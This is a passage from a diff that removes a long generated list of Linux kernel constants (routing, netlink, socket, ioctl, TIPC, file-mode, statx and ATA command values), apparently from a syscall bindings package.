-+ RTC_PF = 0x40
-+ RTC_UF = 0x10
-+ RTF_ADDRCLASSMASK = 0xf8000000
-+ RTF_ADDRCONF = 0x40000
-+ RTF_ALLONLINK = 0x20000
-+ RTF_BROADCAST = 0x10000000
-+ RTF_CACHE = 0x1000000
-+ RTF_DEFAULT = 0x10000
-+ RTF_DYNAMIC = 0x10
-+ RTF_FLOW = 0x2000000
-+ RTF_GATEWAY = 0x2
-+ RTF_HOST = 0x4
-+ RTF_INTERFACE = 0x40000000
-+ RTF_IRTT = 0x100
-+ RTF_LINKRT = 0x100000
-+ RTF_LOCAL = 0x80000000
-+ RTF_MODIFIED = 0x20
-+ RTF_MSS = 0x40
-+ RTF_MTU = 0x40
-+ RTF_MULTICAST = 0x20000000
-+ RTF_NAT = 0x8000000
-+ RTF_NOFORWARD = 0x1000
-+ RTF_NONEXTHOP = 0x200000
-+ RTF_NOPMTUDISC = 0x4000
-+ RTF_POLICY = 0x4000000
-+ RTF_REINSTATE = 0x8
-+ RTF_REJECT = 0x200
-+ RTF_STATIC = 0x400
-+ RTF_THROW = 0x2000
-+ RTF_UP = 0x1
-+ RTF_WINDOW = 0x80
-+ RTF_XRESOLVE = 0x800
-+ RTMGRP_DECnet_IFADDR = 0x1000
-+ RTMGRP_DECnet_ROUTE = 0x4000
-+ RTMGRP_IPV4_IFADDR = 0x10
-+ RTMGRP_IPV4_MROUTE = 0x20
-+ RTMGRP_IPV4_ROUTE = 0x40
-+ RTMGRP_IPV4_RULE = 0x80
-+ RTMGRP_IPV6_IFADDR = 0x100
-+ RTMGRP_IPV6_IFINFO = 0x800
-+ RTMGRP_IPV6_MROUTE = 0x200
-+ RTMGRP_IPV6_PREFIX = 0x20000
-+ RTMGRP_IPV6_ROUTE = 0x400
-+ RTMGRP_LINK = 0x1
-+ RTMGRP_NEIGH = 0x4
-+ RTMGRP_NOTIFY = 0x2
-+ RTMGRP_TC = 0x8
-+ RTM_BASE = 0x10
-+ RTM_DELACTION = 0x31
-+ RTM_DELADDR = 0x15
-+ RTM_DELADDRLABEL = 0x49
-+ RTM_DELCHAIN = 0x65
-+ RTM_DELLINK = 0x11
-+ RTM_DELLINKPROP = 0x6d
-+ RTM_DELMDB = 0x55
-+ RTM_DELNEIGH = 0x1d
-+ RTM_DELNETCONF = 0x51
-+ RTM_DELNEXTHOP = 0x69
-+ RTM_DELNSID = 0x59
-+ RTM_DELQDISC = 0x25
-+ RTM_DELROUTE = 0x19
-+ RTM_DELRULE = 0x21
-+ RTM_DELTCLASS = 0x29
-+ RTM_DELTFILTER = 0x2d
-+ RTM_DELVLAN = 0x71
-+ RTM_F_CLONED = 0x200
-+ RTM_F_EQUALIZE = 0x400
-+ RTM_F_FIB_MATCH = 0x2000
-+ RTM_F_LOOKUP_TABLE = 0x1000
-+ RTM_F_NOTIFY = 0x100
-+ RTM_F_OFFLOAD = 0x4000
-+ RTM_F_PREFIX = 0x800
-+ RTM_F_TRAP = 0x8000
-+ RTM_GETACTION = 0x32
-+ RTM_GETADDR = 0x16
-+ RTM_GETADDRLABEL = 0x4a
-+ RTM_GETANYCAST = 0x3e
-+ RTM_GETCHAIN = 0x66
-+ RTM_GETDCB = 0x4e
-+ RTM_GETLINK = 0x12
-+ RTM_GETLINKPROP = 0x6e
-+ RTM_GETMDB = 0x56
-+ RTM_GETMULTICAST = 0x3a
-+ RTM_GETNEIGH = 0x1e
-+ RTM_GETNEIGHTBL = 0x42
-+ RTM_GETNETCONF = 0x52
-+ RTM_GETNEXTHOP = 0x6a
-+ RTM_GETNSID = 0x5a
-+ RTM_GETQDISC = 0x26
-+ RTM_GETROUTE = 0x1a
-+ RTM_GETRULE = 0x22
-+ RTM_GETSTATS = 0x5e
-+ RTM_GETTCLASS = 0x2a
-+ RTM_GETTFILTER = 0x2e
-+ RTM_GETVLAN = 0x72
-+ RTM_MAX = 0x73
-+ RTM_NEWACTION = 0x30
-+ RTM_NEWADDR = 0x14
-+ RTM_NEWADDRLABEL = 0x48
-+ RTM_NEWCACHEREPORT = 0x60
-+ RTM_NEWCHAIN = 0x64
-+ RTM_NEWLINK = 0x10
-+ RTM_NEWLINKPROP = 0x6c
-+ RTM_NEWMDB = 0x54
-+ RTM_NEWNDUSEROPT = 0x44
-+ RTM_NEWNEIGH = 0x1c
-+ RTM_NEWNEIGHTBL = 0x40
-+ RTM_NEWNETCONF = 0x50
-+ RTM_NEWNEXTHOP = 0x68
-+ RTM_NEWNSID = 0x58
-+ RTM_NEWNVLAN = 0x70
-+ RTM_NEWPREFIX = 0x34
-+ RTM_NEWQDISC = 0x24
-+ RTM_NEWROUTE = 0x18
-+ RTM_NEWRULE = 0x20
-+ RTM_NEWSTATS = 0x5c
-+ RTM_NEWTCLASS = 0x28
-+ RTM_NEWTFILTER = 0x2c
-+ RTM_NR_FAMILIES = 0x19
-+ RTM_NR_MSGTYPES = 0x64
-+ RTM_SETDCB = 0x4f
-+ RTM_SETLINK = 0x13
-+ RTM_SETNEIGHTBL = 0x43
-+ RTNH_ALIGNTO = 0x4
-+ RTNH_COMPARE_MASK = 0x19
-+ RTNH_F_DEAD = 0x1
-+ RTNH_F_LINKDOWN = 0x10
-+ RTNH_F_OFFLOAD = 0x8
-+ RTNH_F_ONLINK = 0x4
-+ RTNH_F_PERVASIVE = 0x2
-+ RTNH_F_UNRESOLVED = 0x20
-+ RTN_MAX = 0xb
-+ RTPROT_BABEL = 0x2a
-+ RTPROT_BGP = 0xba
-+ RTPROT_BIRD = 0xc
-+ RTPROT_BOOT = 0x3
-+ RTPROT_DHCP = 0x10
-+ RTPROT_DNROUTED = 0xd
-+ RTPROT_EIGRP = 0xc0
-+ RTPROT_GATED = 0x8
-+ RTPROT_ISIS = 0xbb
-+ RTPROT_KERNEL = 0x2
-+ RTPROT_MROUTED = 0x11
-+ RTPROT_MRT = 0xa
-+ RTPROT_NTK = 0xf
-+ RTPROT_OSPF = 0xbc
-+ RTPROT_RA = 0x9
-+ RTPROT_REDIRECT = 0x1
-+ RTPROT_RIP = 0xbd
-+ RTPROT_STATIC = 0x4
-+ RTPROT_UNSPEC = 0x0
-+ RTPROT_XORP = 0xe
-+ RTPROT_ZEBRA = 0xb
-+ RT_CLASS_DEFAULT = 0xfd
-+ RT_CLASS_LOCAL = 0xff
-+ RT_CLASS_MAIN = 0xfe
-+ RT_CLASS_MAX = 0xff
-+ RT_CLASS_UNSPEC = 0x0
-+ RUSAGE_CHILDREN = -0x1
-+ RUSAGE_SELF = 0x0
-+ RUSAGE_THREAD = 0x1
-+ RWF_APPEND = 0x10
-+ RWF_DSYNC = 0x2
-+ RWF_HIPRI = 0x1
-+ RWF_NOWAIT = 0x8
-+ RWF_SUPPORTED = 0x1f
-+ RWF_SYNC = 0x4
-+ RWF_WRITE_LIFE_NOT_SET = 0x0
-+ SCM_CREDENTIALS = 0x2
-+ SCM_RIGHTS = 0x1
-+ SCM_TIMESTAMP = 0x1d
-+ SC_LOG_FLUSH = 0x100000
-+ SECCOMP_MODE_DISABLED = 0x0
-+ SECCOMP_MODE_FILTER = 0x2
-+ SECCOMP_MODE_STRICT = 0x1
-+ SECURITYFS_MAGIC = 0x73636673
-+ SELINUX_MAGIC = 0xf97cff8c
-+ SHUT_RD = 0x0
-+ SHUT_RDWR = 0x2
-+ SHUT_WR = 0x1
-+ SIOCADDDLCI = 0x8980
-+ SIOCADDMULTI = 0x8931
-+ SIOCADDRT = 0x890b
-+ SIOCBONDCHANGEACTIVE = 0x8995
-+ SIOCBONDENSLAVE = 0x8990
-+ SIOCBONDINFOQUERY = 0x8994
-+ SIOCBONDRELEASE = 0x8991
-+ SIOCBONDSETHWADDR = 0x8992
-+ SIOCBONDSLAVEINFOQUERY = 0x8993
-+ SIOCBRADDBR = 0x89a0
-+ SIOCBRADDIF = 0x89a2
-+ SIOCBRDELBR = 0x89a1
-+ SIOCBRDELIF = 0x89a3
-+ SIOCDARP = 0x8953
-+ SIOCDELDLCI = 0x8981
-+ SIOCDELMULTI = 0x8932
-+ SIOCDELRT = 0x890c
-+ SIOCDEVPRIVATE = 0x89f0
-+ SIOCDIFADDR = 0x8936
-+ SIOCDRARP = 0x8960
-+ SIOCETHTOOL = 0x8946
-+ SIOCGARP = 0x8954
-+ SIOCGETLINKNAME = 0x89e0
-+ SIOCGETNODEID = 0x89e1
-+ SIOCGHWTSTAMP = 0x89b1
-+ SIOCGIFADDR = 0x8915
-+ SIOCGIFBR = 0x8940
-+ SIOCGIFBRDADDR = 0x8919
-+ SIOCGIFCONF = 0x8912
-+ SIOCGIFCOUNT = 0x8938
-+ SIOCGIFDSTADDR = 0x8917
-+ SIOCGIFENCAP = 0x8925
-+ SIOCGIFFLAGS = 0x8913
-+ SIOCGIFHWADDR = 0x8927
-+ SIOCGIFINDEX = 0x8933
-+ SIOCGIFMAP = 0x8970
-+ SIOCGIFMEM = 0x891f
-+ SIOCGIFMETRIC = 0x891d
-+ SIOCGIFMTU = 0x8921
-+ SIOCGIFNAME = 0x8910
-+ SIOCGIFNETMASK = 0x891b
-+ SIOCGIFPFLAGS = 0x8935
-+ SIOCGIFSLAVE = 0x8929
-+ SIOCGIFTXQLEN = 0x8942
-+ SIOCGIFVLAN = 0x8982
-+ SIOCGMIIPHY = 0x8947
-+ SIOCGMIIREG = 0x8948
-+ SIOCGPPPCSTATS = 0x89f2
-+ SIOCGPPPSTATS = 0x89f0
-+ SIOCGPPPVER = 0x89f1
-+ SIOCGRARP = 0x8961
-+ SIOCGSKNS = 0x894c
-+ SIOCGSTAMP = 0x8906
-+ SIOCGSTAMPNS = 0x8907
-+ SIOCGSTAMPNS_OLD = 0x8907
-+ SIOCGSTAMP_OLD = 0x8906
-+ SIOCOUTQNSD = 0x894b
-+ SIOCPROTOPRIVATE = 0x89e0
-+ SIOCRTMSG = 0x890d
-+ SIOCSARP = 0x8955
-+ SIOCSHWTSTAMP = 0x89b0
-+ SIOCSIFADDR = 0x8916
-+ SIOCSIFBR = 0x8941
-+ SIOCSIFBRDADDR = 0x891a
-+ SIOCSIFDSTADDR = 0x8918
-+ SIOCSIFENCAP = 0x8926
-+ SIOCSIFFLAGS = 0x8914
-+ SIOCSIFHWADDR = 0x8924
-+ SIOCSIFHWBROADCAST = 0x8937
-+ SIOCSIFLINK = 0x8911
-+ SIOCSIFMAP = 0x8971
-+ SIOCSIFMEM = 0x8920
-+ SIOCSIFMETRIC = 0x891e
-+ SIOCSIFMTU = 0x8922
-+ SIOCSIFNAME = 0x8923
-+ SIOCSIFNETMASK = 0x891c
-+ SIOCSIFPFLAGS = 0x8934
-+ SIOCSIFSLAVE = 0x8930
-+ SIOCSIFTXQLEN = 0x8943
-+ SIOCSIFVLAN = 0x8983
-+ SIOCSMIIREG = 0x8949
-+ SIOCSRARP = 0x8962
-+ SIOCWANDEV = 0x894a
-+ SMACK_MAGIC = 0x43415d53
-+ SMART_AUTOSAVE = 0xd2
-+ SMART_AUTO_OFFLINE = 0xdb
-+ SMART_DISABLE = 0xd9
-+ SMART_ENABLE = 0xd8
-+ SMART_HCYL_PASS = 0xc2
-+ SMART_IMMEDIATE_OFFLINE = 0xd4
-+ SMART_LCYL_PASS = 0x4f
-+ SMART_READ_LOG_SECTOR = 0xd5
-+ SMART_READ_THRESHOLDS = 0xd1
-+ SMART_READ_VALUES = 0xd0
-+ SMART_SAVE = 0xd3
-+ SMART_STATUS = 0xda
-+ SMART_WRITE_LOG_SECTOR = 0xd6
-+ SMART_WRITE_THRESHOLDS = 0xd7
-+ SMB_SUPER_MAGIC = 0x517b
-+ SOCKFS_MAGIC = 0x534f434b
-+ SOCK_DCCP = 0x6
-+ SOCK_IOC_TYPE = 0x89
-+ SOCK_PACKET = 0xa
-+ SOCK_RAW = 0x3
-+ SOCK_RDM = 0x4
-+ SOCK_SEQPACKET = 0x5
-+ SOL_AAL = 0x109
-+ SOL_ALG = 0x117
-+ SOL_ATM = 0x108
-+ SOL_CAIF = 0x116
-+ SOL_CAN_BASE = 0x64
-+ SOL_DCCP = 0x10d
-+ SOL_DECNET = 0x105
-+ SOL_ICMPV6 = 0x3a
-+ SOL_IP = 0x0
-+ SOL_IPV6 = 0x29
-+ SOL_IRDA = 0x10a
-+ SOL_IUCV = 0x115
-+ SOL_KCM = 0x119
-+ SOL_LLC = 0x10c
-+ SOL_NETBEUI = 0x10b
-+ SOL_NETLINK = 0x10e
-+ SOL_NFC = 0x118
-+ SOL_PACKET = 0x107
-+ SOL_PNPIPE = 0x113
-+ SOL_PPPOL2TP = 0x111
-+ SOL_RAW = 0xff
-+ SOL_RDS = 0x114
-+ SOL_RXRPC = 0x110
-+ SOL_TCP = 0x6
-+ SOL_TIPC = 0x10f
-+ SOL_TLS = 0x11a
-+ SOL_X25 = 0x106
-+ SOL_XDP = 0x11b
-+ SOMAXCONN = 0x1000
-+ SO_ATTACH_FILTER = 0x1a
-+ SO_DEBUG = 0x1
-+ SO_DETACH_BPF = 0x1b
-+ SO_DETACH_FILTER = 0x1b
-+ SO_EE_CODE_TXTIME_INVALID_PARAM = 0x1
-+ SO_EE_CODE_TXTIME_MISSED = 0x2
-+ SO_EE_CODE_ZEROCOPY_COPIED = 0x1
-+ SO_EE_ORIGIN_ICMP = 0x2
-+ SO_EE_ORIGIN_ICMP6 = 0x3
-+ SO_EE_ORIGIN_LOCAL = 0x1
-+ SO_EE_ORIGIN_NONE = 0x0
-+ SO_EE_ORIGIN_TIMESTAMPING = 0x4
-+ SO_EE_ORIGIN_TXSTATUS = 0x4
-+ SO_EE_ORIGIN_TXTIME = 0x6
-+ SO_EE_ORIGIN_ZEROCOPY = 0x5
-+ SO_GET_FILTER = 0x1a
-+ SO_NO_CHECK = 0xb
-+ SO_PEERNAME = 0x1c
-+ SO_PRIORITY = 0xc
-+ SO_TIMESTAMP = 0x1d
-+ SO_TIMESTAMP_OLD = 0x1d
-+ SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-+ SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-+ SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-+ SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-+ SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-+ SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-+ SO_VM_SOCKETS_TRUSTED = 0x5
-+ SPLICE_F_GIFT = 0x8
-+ SPLICE_F_MORE = 0x4
-+ SPLICE_F_MOVE = 0x1
-+ SPLICE_F_NONBLOCK = 0x2
-+ SQUASHFS_MAGIC = 0x73717368
-+ STACK_END_MAGIC = 0x57ac6e9d
-+ STATX_ALL = 0xfff
-+ STATX_ATIME = 0x20
-+ STATX_ATTR_APPEND = 0x20
-+ STATX_ATTR_AUTOMOUNT = 0x1000
-+ STATX_ATTR_COMPRESSED = 0x4
-+ STATX_ATTR_ENCRYPTED = 0x800
-+ STATX_ATTR_IMMUTABLE = 0x10
-+ STATX_ATTR_NODUMP = 0x40
-+ STATX_ATTR_VERITY = 0x100000
-+ STATX_BASIC_STATS = 0x7ff
-+ STATX_BLOCKS = 0x400
-+ STATX_BTIME = 0x800
-+ STATX_CTIME = 0x80
-+ STATX_GID = 0x10
-+ STATX_INO = 0x100
-+ STATX_MODE = 0x2
-+ STATX_MTIME = 0x40
-+ STATX_NLINK = 0x4
-+ STATX_SIZE = 0x200
-+ STATX_TYPE = 0x1
-+ STATX_UID = 0x8
-+ STATX__RESERVED = 0x80000000
-+ SYNC_FILE_RANGE_WAIT_AFTER = 0x4
-+ SYNC_FILE_RANGE_WAIT_BEFORE = 0x1
-+ SYNC_FILE_RANGE_WRITE = 0x2
-+ SYNC_FILE_RANGE_WRITE_AND_WAIT = 0x7
-+ SYSFS_MAGIC = 0x62656572
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
-+ TAB0 = 0x0
-+ TASKSTATS_CMD_ATTR_MAX = 0x4
-+ TASKSTATS_CMD_MAX = 0x2
-+ TASKSTATS_GENL_NAME = "TASKSTATS"
-+ TASKSTATS_GENL_VERSION = 0x1
-+ TASKSTATS_TYPE_MAX = 0x6
-+ TASKSTATS_VERSION = 0xa
-+ TCIFLUSH = 0x0
-+ TCIOFF = 0x2
-+ TCIOFLUSH = 0x2
-+ TCION = 0x3
-+ TCOFLUSH = 0x1
-+ TCOOFF = 0x0
-+ TCOON = 0x1
-+ TCP_BPF_IW = 0x3e9
-+ TCP_BPF_SNDCWND_CLAMP = 0x3ea
-+ TCP_CC_INFO = 0x1a
-+ TCP_CM_INQ = 0x24
-+ TCP_CONGESTION = 0xd
-+ TCP_COOKIE_IN_ALWAYS = 0x1
-+ TCP_COOKIE_MAX = 0x10
-+ TCP_COOKIE_MIN = 0x8
-+ TCP_COOKIE_OUT_NEVER = 0x2
-+ TCP_COOKIE_PAIR_SIZE = 0x20
-+ TCP_COOKIE_TRANSACTIONS = 0xf
-+ TCP_CORK = 0x3
-+ TCP_DEFER_ACCEPT = 0x9
-+ TCP_FASTOPEN = 0x17
-+ TCP_FASTOPEN_CONNECT = 0x1e
-+ TCP_FASTOPEN_KEY = 0x21
-+ TCP_FASTOPEN_NO_COOKIE = 0x22
-+ TCP_INFO = 0xb
-+ TCP_INQ = 0x24
-+ TCP_KEEPCNT = 0x6
-+ TCP_KEEPIDLE = 0x4
-+ TCP_KEEPINTVL = 0x5
-+ TCP_LINGER2 = 0x8
-+ TCP_MAXSEG = 0x2
-+ TCP_MAXWIN = 0xffff
-+ TCP_MAX_WINSHIFT = 0xe
-+ TCP_MD5SIG = 0xe
-+ TCP_MD5SIG_EXT = 0x20
-+ TCP_MD5SIG_FLAG_PREFIX = 0x1
-+ TCP_MD5SIG_MAXKEYLEN = 0x50
-+ TCP_MSS = 0x200
-+ TCP_MSS_DEFAULT = 0x218
-+ TCP_MSS_DESIRED = 0x4c4
-+ TCP_NODELAY = 0x1
-+ TCP_NOTSENT_LOWAT = 0x19
-+ TCP_QUEUE_SEQ = 0x15
-+ TCP_QUICKACK = 0xc
-+ TCP_REPAIR = 0x13
-+ TCP_REPAIR_OFF = 0x0
-+ TCP_REPAIR_OFF_NO_WP = -0x1
-+ TCP_REPAIR_ON = 0x1
-+ TCP_REPAIR_OPTIONS = 0x16
-+ TCP_REPAIR_QUEUE = 0x14
-+ TCP_REPAIR_WINDOW = 0x1d
-+ TCP_SAVED_SYN = 0x1c
-+ TCP_SAVE_SYN = 0x1b
-+ TCP_SYNCNT = 0x7
-+ TCP_S_DATA_IN = 0x4
-+ TCP_S_DATA_OUT = 0x8
-+ TCP_THIN_DUPACK = 0x11
-+ TCP_THIN_LINEAR_TIMEOUTS = 0x10
-+ TCP_TIMESTAMP = 0x18
-+ TCP_TX_DELAY = 0x25
-+ TCP_ULP = 0x1f
-+ TCP_USER_TIMEOUT = 0x12
-+ TCP_WINDOW_CLAMP = 0xa
-+ TCP_ZEROCOPY_RECEIVE = 0x23
-+ TIMER_ABSTIME = 0x1
-+ TIOCM_DTR = 0x2
-+ TIOCM_LE = 0x1
-+ TIOCM_RTS = 0x4
-+ TIOCPKT_DATA = 0x0
-+ TIOCPKT_DOSTOP = 0x20
-+ TIOCPKT_FLUSHREAD = 0x1
-+ TIOCPKT_FLUSHWRITE = 0x2
-+ TIOCPKT_IOCTL = 0x40
-+ TIOCPKT_NOSTOP = 0x10
-+ TIOCPKT_START = 0x8
-+ TIOCPKT_STOP = 0x4
-+ TIPC_ADDR_ID = 0x3
-+ TIPC_ADDR_MCAST = 0x1
-+ TIPC_ADDR_NAME = 0x2
-+ TIPC_ADDR_NAMESEQ = 0x1
-+ TIPC_AEAD_ALG_NAME = 0x20
-+ TIPC_AEAD_KEYLEN_MAX = 0x24
-+ TIPC_AEAD_KEYLEN_MIN = 0x14
-+ TIPC_AEAD_KEY_SIZE_MAX = 0x48
-+ TIPC_CFG_SRV = 0x0
-+ TIPC_CLUSTER_BITS = 0xc
-+ TIPC_CLUSTER_MASK = 0xfff000
-+ TIPC_CLUSTER_OFFSET = 0xc
-+ TIPC_CLUSTER_SIZE = 0xfff
-+ TIPC_CONN_SHUTDOWN = 0x5
-+ TIPC_CONN_TIMEOUT = 0x82
-+ TIPC_CRITICAL_IMPORTANCE = 0x3
-+ TIPC_DESTNAME = 0x3
-+ TIPC_DEST_DROPPABLE = 0x81
-+ TIPC_ERRINFO = 0x1
-+ TIPC_ERR_NO_NAME = 0x1
-+ TIPC_ERR_NO_NODE = 0x3
-+ TIPC_ERR_NO_PORT = 0x2
-+ TIPC_ERR_OVERLOAD = 0x4
-+ TIPC_GROUP_JOIN = 0x87
-+ TIPC_GROUP_LEAVE = 0x88
-+ TIPC_GROUP_LOOPBACK = 0x1
-+ TIPC_GROUP_MEMBER_EVTS = 0x2
-+ TIPC_HIGH_IMPORTANCE = 0x2
-+ TIPC_IMPORTANCE = 0x7f
-+ TIPC_LINK_STATE = 0x2
-+ TIPC_LOW_IMPORTANCE = 0x0
-+ TIPC_MAX_BEARER_NAME = 0x20
-+ TIPC_MAX_IF_NAME = 0x10
-+ TIPC_MAX_LINK_NAME = 0x44
-+ TIPC_MAX_MEDIA_NAME = 0x10
-+ TIPC_MAX_USER_MSG_SIZE = 0x101d0
-+ TIPC_MCAST_BROADCAST = 0x85
-+ TIPC_MCAST_REPLICAST = 0x86
-+ TIPC_MEDIUM_IMPORTANCE = 0x1
-+ TIPC_NODEID_LEN = 0x10
-+ TIPC_NODELAY = 0x8a
-+ TIPC_NODE_BITS = 0xc
-+ TIPC_NODE_MASK = 0xfff
-+ TIPC_NODE_OFFSET = 0x0
-+ TIPC_NODE_RECVQ_DEPTH = 0x83
-+ TIPC_NODE_SIZE = 0xfff
-+ TIPC_NODE_STATE = 0x0
-+ TIPC_OK = 0x0
-+ TIPC_PUBLISHED = 0x1
-+ TIPC_RESERVED_TYPES = 0x40
-+ TIPC_RETDATA = 0x2
-+ TIPC_SERVICE_ADDR = 0x2
-+ TIPC_SERVICE_RANGE = 0x1
-+ TIPC_SOCKET_ADDR = 0x3
-+ TIPC_SOCK_RECVQ_DEPTH = 0x84
-+ TIPC_SOCK_RECVQ_USED = 0x89
-+ TIPC_SRC_DROPPABLE = 0x80
-+ TIPC_SUBSCR_TIMEOUT = 0x3
-+ TIPC_SUB_CANCEL = 0x4
-+ TIPC_SUB_PORTS = 0x1
-+ TIPC_SUB_SERVICE = 0x2
-+ TIPC_TOP_SRV = 0x1
-+ TIPC_WAIT_FOREVER = 0xffffffff
-+ TIPC_WITHDRAWN = 0x2
-+ TIPC_ZONE_BITS = 0x8
-+ TIPC_ZONE_CLUSTER_MASK = 0xfffff000
-+ TIPC_ZONE_MASK = 0xff000000
-+ TIPC_ZONE_OFFSET = 0x18
-+ TIPC_ZONE_SCOPE = 0x1
-+ TIPC_ZONE_SIZE = 0xff
-+ TMPFS_MAGIC = 0x1021994
-+ TPACKET_ALIGNMENT = 0x10
-+ TPACKET_HDRLEN = 0x34
-+ TP_STATUS_AVAILABLE = 0x0
-+ TP_STATUS_BLK_TMO = 0x20
-+ TP_STATUS_COPY = 0x2
-+ TP_STATUS_CSUMNOTREADY = 0x8
-+ TP_STATUS_CSUM_VALID = 0x80
-+ TP_STATUS_KERNEL = 0x0
-+ TP_STATUS_LOSING = 0x4
-+ TP_STATUS_SENDING = 0x2
-+ TP_STATUS_SEND_REQUEST = 0x1
-+ TP_STATUS_TS_RAW_HARDWARE = 0x80000000
-+ TP_STATUS_TS_SOFTWARE = 0x20000000
-+ TP_STATUS_TS_SYS_HARDWARE = 0x40000000
-+ TP_STATUS_USER = 0x1
-+ TP_STATUS_VLAN_TPID_VALID = 0x40
-+ TP_STATUS_VLAN_VALID = 0x10
-+ TP_STATUS_WRONG_FORMAT = 0x4
-+ TRACEFS_MAGIC = 0x74726163
-+ TS_COMM_LEN = 0x20
-+ UDF_SUPER_MAGIC = 0x15013346
-+ UMOUNT_NOFOLLOW = 0x8
-+ USBDEVICE_SUPER_MAGIC = 0x9fa2
-+ UTIME_NOW = 0x3fffffff
-+ UTIME_OMIT = 0x3ffffffe
-+ V9FS_MAGIC = 0x1021997
-+ VERASE = 0x2
-+ VINTR = 0x0
-+ VKILL = 0x3
-+ VLNEXT = 0xf
-+ VMADDR_CID_ANY = 0xffffffff
-+ VMADDR_CID_HOST = 0x2
-+ VMADDR_CID_HYPERVISOR = 0x0
-+ VMADDR_CID_LOCAL = 0x1
-+ VMADDR_PORT_ANY = 0xffffffff
-+ VM_SOCKETS_INVALID_VERSION = 0xffffffff
-+ VQUIT = 0x1
-+ VT0 = 0x0
-+ WALL = 0x40000000
-+ WCLONE = 0x80000000
-+ WCONTINUED = 0x8
-+ WDIOC_SETPRETIMEOUT = 0xc0045708
-+ WDIOC_SETTIMEOUT = 0xc0045706
-+ WEXITED = 0x4
-+ WIN_ACKMEDIACHANGE = 0xdb
-+ WIN_CHECKPOWERMODE1 = 0xe5
-+ WIN_CHECKPOWERMODE2 = 0x98
-+ WIN_DEVICE_RESET = 0x8
-+ WIN_DIAGNOSE = 0x90
-+ WIN_DOORLOCK = 0xde
-+ WIN_DOORUNLOCK = 0xdf
-+ WIN_DOWNLOAD_MICROCODE = 0x92
-+ WIN_FLUSH_CACHE = 0xe7
-+ WIN_FLUSH_CACHE_EXT = 0xea
-+ WIN_FORMAT = 0x50
-+ WIN_GETMEDIASTATUS = 0xda
-+ WIN_IDENTIFY = 0xec
-+ WIN_IDENTIFY_DMA = 0xee
-+ WIN_IDLEIMMEDIATE = 0xe1
-+ WIN_INIT = 0x60
-+ WIN_MEDIAEJECT = 0xed
-+ WIN_MULTREAD = 0xc4
-+ WIN_MULTREAD_EXT = 0x29
-+ WIN_MULTWRITE = 0xc5
-+ WIN_MULTWRITE_EXT = 0x39
-+ WIN_NOP = 0x0
-+ WIN_PACKETCMD = 0xa0
-+ WIN_PIDENTIFY = 0xa1
-+ WIN_POSTBOOT = 0xdc
-+ WIN_PREBOOT = 0xdd
-+ WIN_QUEUED_SERVICE = 0xa2
-+ WIN_READ = 0x20
-+ WIN_READDMA = 0xc8
-+ WIN_READDMA_EXT = 0x25
-+ WIN_READDMA_ONCE = 0xc9
-+ WIN_READDMA_QUEUED = 0xc7
-+ WIN_READDMA_QUEUED_EXT = 0x26
-+ WIN_READ_BUFFER = 0xe4
-+ WIN_READ_EXT = 0x24
-+ WIN_READ_LONG = 0x22
-+ WIN_READ_LONG_ONCE = 0x23
-+ WIN_READ_NATIVE_MAX = 0xf8
-+ WIN_READ_NATIVE_MAX_EXT = 0x27
-+ WIN_READ_ONCE = 0x21
-+ WIN_RECAL = 0x10
-+ WIN_RESTORE = 0x10
-+ WIN_SECURITY_DISABLE = 0xf6
-+ WIN_SECURITY_ERASE_PREPARE = 0xf3
-+ WIN_SECURITY_ERASE_UNIT = 0xf4
-+ WIN_SECURITY_FREEZE_LOCK = 0xf5
-+ WIN_SECURITY_SET_PASS = 0xf1
-+ WIN_SECURITY_UNLOCK = 0xf2
-+ WIN_SEEK = 0x70
-+ WIN_SETFEATURES = 0xef
-+ WIN_SETIDLE1 = 0xe3
-+ WIN_SETIDLE2 = 0x97
-+ WIN_SETMULT = 0xc6
-+ WIN_SET_MAX = 0xf9
-+ WIN_SET_MAX_EXT = 0x37
-+ WIN_SLEEPNOW1 = 0xe6
-+ WIN_SLEEPNOW2 = 0x99
-+ WIN_SMART = 0xb0
-+ WIN_SPECIFY = 0x91
-+ WIN_SRST = 0x8
-+ WIN_STANDBY = 0xe2
-+ WIN_STANDBY2 = 0x96
-+ WIN_STANDBYNOW1 = 0xe0
-+ WIN_STANDBYNOW2 = 0x94
-+ WIN_VERIFY = 0x40
-+ WIN_VERIFY_EXT = 0x42
-+ WIN_VERIFY_ONCE = 0x41
-+ WIN_WRITE = 0x30
-+ WIN_WRITEDMA = 0xca
-+ WIN_WRITEDMA_EXT = 0x35
-+ WIN_WRITEDMA_ONCE = 0xcb
-+ WIN_WRITEDMA_QUEUED = 0xcc
-+ WIN_WRITEDMA_QUEUED_EXT = 0x36
-+ WIN_WRITE_BUFFER = 0xe8
-+ WIN_WRITE_EXT = 0x34
-+ WIN_WRITE_LONG = 0x32
-+ WIN_WRITE_LONG_ONCE = 0x33
-+ WIN_WRITE_ONCE = 0x31
-+ WIN_WRITE_SAME = 0xe9
-+ WIN_WRITE_VERIFY = 0x3c
-+ WNOHANG = 0x1
-+ WNOTHREAD = 0x20000000
-+ WNOWAIT = 0x1000000
-+ WSTOPPED = 0x2
-+ WUNTRACED = 0x2
-+ XATTR_CREATE = 0x1
-+ XATTR_REPLACE = 0x2
-+ XDP_COPY = 0x2
-+ XDP_FLAGS_DRV_MODE = 0x4
-+ XDP_FLAGS_HW_MODE = 0x8
-+ XDP_FLAGS_MASK = 0xf
-+ XDP_FLAGS_MODES = 0xe
-+ XDP_FLAGS_SKB_MODE = 0x2
-+ XDP_FLAGS_UPDATE_IF_NOEXIST = 0x1
